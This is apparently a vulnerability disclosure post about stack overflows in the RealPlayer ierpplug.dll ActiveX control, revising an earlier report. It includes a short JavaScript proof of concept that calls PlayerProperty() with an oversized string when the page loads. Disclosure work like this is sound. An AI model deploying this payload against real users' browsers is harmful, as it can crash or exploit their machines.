UPDATED: RealNetworks RealPlayer ierpplug.dll ActiveX Control Multiple Stack Overflows

After some creative Googling, I am revising my original post. I believe that the Import() method overflow that I 
originally posted is really http://www.securityfocus.com/bid/26130, although I am not sure why Linux is listed under 
the "Vulnerable" section, so I am taking it out of the PoC code. Real claims to have patched this back in October, but 
I can still throw a stack overflow exception via this function using the originally stated version of RealPlayer(which 
I installed last night). I am now listing this vulnerability as RealNetworks RealPlayer ierpplug.dll ActiveX Control 
PlayerProperty() Method Stack Overflow, and it might be wise to list this under a separate BID. PoC as follows:

written by e.b.
  <script language="JavaScript" DEFER>
    function Check() {
    var s = "AAAA";

    while (s.length < 999999) s=s+s;

     var obj = new ActiveXObject("IERPCTL.IERPCTL"); //{FDC7A535-4070-4B92-A0EA-D9994BCC0DC5}
      var obj2 = obj.PlayerProperty(s);


 <body onload="JavaScript: return Check();">
